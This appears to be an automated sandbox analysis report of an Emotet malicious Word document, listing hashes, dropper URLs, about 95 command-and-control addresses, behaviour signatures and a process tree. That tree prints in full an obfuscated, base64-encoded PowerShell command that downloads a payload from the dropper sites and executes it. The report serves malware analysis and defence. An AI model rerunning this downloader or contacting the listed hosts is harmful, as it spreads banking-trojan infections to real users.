emotet | 7677d99c4483429a894bf02bfb2a69c97d6c0c3ecbb70481e18d30d45d5369b7

General

Target
REP_93543680.doc
Size 185KB
Sample200903-2py49pp33n
SHA256 7677d99c4483429a894bf02bfb2a69c97d6c0c3ecbb70481e18d30d45d5369b7
MD5 ac93e1d243e61f983942b7dfa0f37994
SHA1 d70666eeb5183536165d7c397f170e7a92f61f33
SHA512 9a9318cc6eeac71bec66b605bba371947860ea27bf9149d849fd321c18f261f348b3900832f06439295bc6acce952f3639149fad4604839cfad8f03b5892d5dd
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://dvers.me/cgi-bin/s/
exe.dropper
http://fabregat.eu/images/q/
exe.dropper
http://ezola.fr/Accessoires/IKh/
exe.dropper
http://finewines.com.sg/wset-2-registration/6bsizM/
exe.dropper
http://fernsehservice-stara.de/cgi-bin/x/
exe.dropper
http://familienbande-ley.de/cgi-bin/tKX/
exe.dropper
http://ketisch.de/adina/G/

Extracted

Family

emotet

C2

140.186.212.146:80
85.214.28.226:8080
142.44.137.67:443
162.241.242.173:8080
24.43.99.75:80
120.150.60.189:80
189.212.199.126:443
98.109.204.230:80
174.45.13.118:80
95.213.236.64:8080
203.153.216.189:7080
188.219.31.12:80
168.235.67.138:7080
152.168.248.128:443
173.62.217.22:443
176.111.60.55:8080
201.173.217.124:443
112.185.64.233:80
190.160.53.126:80
37.139.21.175:8080
37.187.72.193:8080
68.188.112.97:80
194.187.133.160:443
47.146.117.214:80
169.239.182.217:8080
62.30.7.67:443
113.160.130.116:8443
107.5.122.110:80
74.208.45.104:8080
94.23.237.171:443
74.120.55.163:80
94.200.114.161:80
103.86.49.11:8080
137.59.187.107:8080
97.82.79.83:80
85.152.162.105:80
5.196.74.210:8080
174.137.65.18:80
47.144.21.12:443
74.109.108.202:80
139.130.242.43:80
70.121.172.89:80
41.60.200.34:80
157.245.99.39:8080
93.147.212.206:80
87.106.139.101:8080
87.106.136.232:8080
95.179.229.244:8080
85.242.155.127:80
5.39.91.110:7080
1.221.254.82:80
61.19.246.238:443
75.139.38.211:80
85.66.181.138:80
68.171.118.7:80
139.99.158.11:443
83.169.36.251:8080
172.91.208.86:80
46.105.131.79:8080
139.162.108.71:8080
79.98.24.39:8080
89.205.113.80:80
180.92.239.110:8080
104.131.11.150:443
67.205.85.243:8080
104.236.246.93:8080
187.161.206.24:80
110.145.77.103:80
174.102.48.180:443
62.75.141.82:80
91.211.88.52:7080
85.105.205.77:8080
190.55.181.54:443
173.81.218.65:80
137.119.36.33:80
24.137.76.62:80
79.137.83.50:443
200.41.121.90:80
219.74.18.66:443
109.74.5.95:8080
153.232.188.106:80
216.208.76.186:80
209.141.54.221:8080
200.114.213.233:8080
104.131.44.150:8080
84.39.182.7:80
203.117.253.142:80
24.179.13.119:80
78.24.219.147:8080
50.81.3.113:80
37.70.8.161:80
121.124.124.40:7080
139.59.60.244:8080
185.94.252.104:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3660	3776	powershell.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
23	3660	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1196	Mobwuo6.exe
3968	polstore.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\d3dim\polstore.exe	Mobwuo6.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 78c9e1ef1f82d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3740	WINWORD.EXE
3740	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3968	polstore.exe
3968	polstore.exe
3968	polstore.exe
3968	polstore.exe
3968	polstore.exe
3968	polstore.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1812	svchost.exe
Token: SeCreatePagefilePrivilege	1812	svchost.exe
Token: SeDebugPrivilege	3660	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
1196	Mobwuo6.exe
3968	polstore.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3660 wrote to memory of 1196	3660	powershell.exe	80
PID 3660 wrote to memory of 1196	3660	powershell.exe	80
PID 3660 wrote to memory of 1196	3660	powershell.exe	80
PID 1196 wrote to memory of 3968	1196	Mobwuo6.exe	81
PID 1196 wrote to memory of 3968	1196	Mobwuo6.exe	81
PID 1196 wrote to memory of 3968	1196	Mobwuo6.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_93543680.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABJADQAMAB1AHcAYQBmAD0AKAAoACcASQByACcAKwAnADcAJwApACsAJwA3ACcAKwAoACcAcAAnACsAJwBzAHEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAcwBlAHIAcAByAE8AZgBpAEwAZQBcAEEAVQBRAGkAZgBGADAAXABNAE8AZwBqAE4AcgA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBVAGAAUgBJAHQAeQBQAGAAUgBvAHQAYABvAEMAbwBsACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACgAJwAsACAAdABsACcAKwAnAHMAMQAxACcAKQArACcALAAgACcAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAEQAcwAwAHkAcAB4AHIAIAA9ACAAKAAoACcATQAnACsAJwBvAGIAJwApACsAJwB3ACcAKwAoACcAdQBvACcAKwAnADYAJwApACkAOwAkAEcAcwAyADkAXwBrAHMAPQAoACcAUgByACcAKwAoACcAbQB3AHoAJwArACcAOQA3ACcAKQApADsAJABaAGgANwBpAGwAZwB0AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAQwBRACcAKwAnADkAQQB1AHEAJwArACcAaQAnACkAKwAnAGYAJwArACgAJwBmADAAQwAnACsAJwBRACcAKQArACcAOQBNACcAKwAoACcAbwAnACsAJwBnAGoAJwApACsAKAAnAG4AcgAnACsAJwA1ACcAKQArACgAJwBDAFEAJwArACcAOQAnACkAKQAgAC0AQwBSAGUAcABMAGEAQwBlACAAIAAoACcAQwBRACcAKwAnADkAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKwAkAEQAcwAwAHkAcAB4AHIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKADgAOAB5AGsAYwBfAD0AKAAnAFkAJwArACcAMwAzACcAKwAoACcAMAAnACsAJwBwAGkAOQAnACkAKQA7ACQATgA5ADMAOQAyAHMAaQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAEwAaQBFAG4AVAA7ACQAUwA3AG0AYQBuAG4AZwA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AZAAnACsAKAAnAHYAJwArACcAZQByAHMAJwApACsAJwAuACcAKwAoACcAbQBlAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAbgAvAHMALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBmAGEAJwArACcAYgByAGUAZwAnACsAJwBhAHQALgBlACcAKQArACgAJwB1AC8AaQAnACsAJwBtAGEAJwArACcAZwBlACcAKQArACgAJwBzAC8AJwArACcAcQAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AZQB6ACcAKQArACgAJwBvAGwAYQAnACsAJwAuACcAKQArACcAZgAnACsAJwByAC8AJwArACcAQQAnACsAKAAnAGMAYwAnACsAJwBlAHMAJwArACcAcwBvAGkAJwApACsAJwByAGUAJwArACgAJwBzAC8AJwArACcASQAnACkAKwAoACcASwBoACcAKwAnAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AC8ALwBmACcAKQArACcAaQAnACsAKAAnAG4AZQAnACsAJwB3AGkAJwApACsAJwBuAGUAJwArACcAcwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALgBzACcAKwAnAGcAJwApACsAJwAvACcAKwAnAHcAcwAnACsAKAAnAGUAdAAnACsAJwAtADIALQByAGUAZwBpACcAKwAnAHMAJwArACcAdAByACcAKQArACcAYQB0ACcAKwAoACcAaQBvAG4ALwA2AGIAcwBpACcAKwAnAHoAJwArACcATQAnACsAJwAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AJwApACsAKAAnAGYAZQAnACsAJwByACcAKQArACcAbgBzACcAKwAoACcAZQBoAHMAZQAnACsAJwByAHYAaQBjACcAKwAnAGUALQAnACsAJwBzAHQAJwArACcAYQByAGEALgAnACkAKwAnAGQAJwArACcAZQAnACsAJwAvAGMAJwArACcAZwBpACcAKwAoACcALQBiAGkAbgAnACsAJwAvAHgAJwArACcALwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AZgBhAG0AJwApACsAJwBpACcAKwAoACcAbABpACcAKwAnAGUAJwApACsAJwBuACcAKwAoACcAYgBhAG4AZABlAC0AJwArACcAbAAnACkAKwAnAGUAeQAnACsAKAAnAC4AZABlAC8AYwAnACsAJwBnACcAKwAnAGkALQBiAGkAbgAvACcAKwAnAHQASwBYAC8AKgBoAHQAdABwADoALwAnACsAJwAvAGsAZQB0ACcAKwAnAGkAJwApACsAJwBzACcAKwAoACcAYwBoAC4AZABlAC8AYQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAG4AYQAvAEcAJwArACcALwAnACkAKQAuACIAUwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAGUAawBlAGoAaQB1AD0AKAAnAFoAJwArACgAJwBoACcAKwAnAGgAOQAnACkAKwAoACcAZgAnACsAJwA1ADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBADAAOABiAGYAYQB3ACAAaQBuACAAJABTADcAbQBhAG4AbgBnACkAewB0AHIAeQB7ACQATgA5ADMAOQAyAHMAaQAuACIAZABvAHcATgBMAGAATwBBAEQARgBgAEkAbABFACIAKAAkAEEAMAA4AGIAZgBhAHcALAAgACQAWgBoADcAaQBsAGcAdAApADsAJABOAGEAaQB4AHIAZwB0AD0AKAAnAE4AMgAnACsAJwBfACcAKwAoACcAaQBzAHUAJwArACcAaQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABaAGgANwBpAGwAZwB0ACkALgAiAGwAYABFAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA4ADQANwA5ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAaAA3AGkAbABnAHQAKQA7ACQASwB5AHUAeAAzADIAZgA9ACgAKAAnAFYAegBjACcAKwAnADYAJwApACsAKAAnAGMANQAnACsAJwBlACcAKQApADsAYgByAGUAYQBrADsAJABGAHAAbwBhAGsAcQA0AD0AKAAoACcAQwB3ACcAKwAnAHQAJwApACsAJwBqACcAKwAoACcAbQAnACsAJwB1AG8AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAbgAyAGcAZgA5ADMAPQAoACgAJwBCACcAKwAnAGoAeQAnACkAKwAnAHIAJwArACgAJwByACcAKwAnAGwAcQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3660
- C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe
  "C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1196
- - C:\Windows\SysWOW64\d3dim\polstore.exe
    "C:\Windows\SysWOW64\d3dim\polstore.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3968

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1196-14-0x00000000001F0000-0x00000000001FC000-memory.dmp

Download

memory/3660-8-0x00007FFA64200000-0x00007FFA64BEC000-memory.dmp

Download

memory/3660-9-0x00000249BB1F0000-0x00000249BB1F1000-memory.dmp

Download

memory/3660-10-0x00000249D33C0000-0x00000249D33C1000-memory.dmp

Download

memory/3740-0-0x00007FFA6B4B0000-0x00007FFA6BB76000-memory.dmp

Download

memory/3740-4-0x000001B114AE9000-0x000001B114B55000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads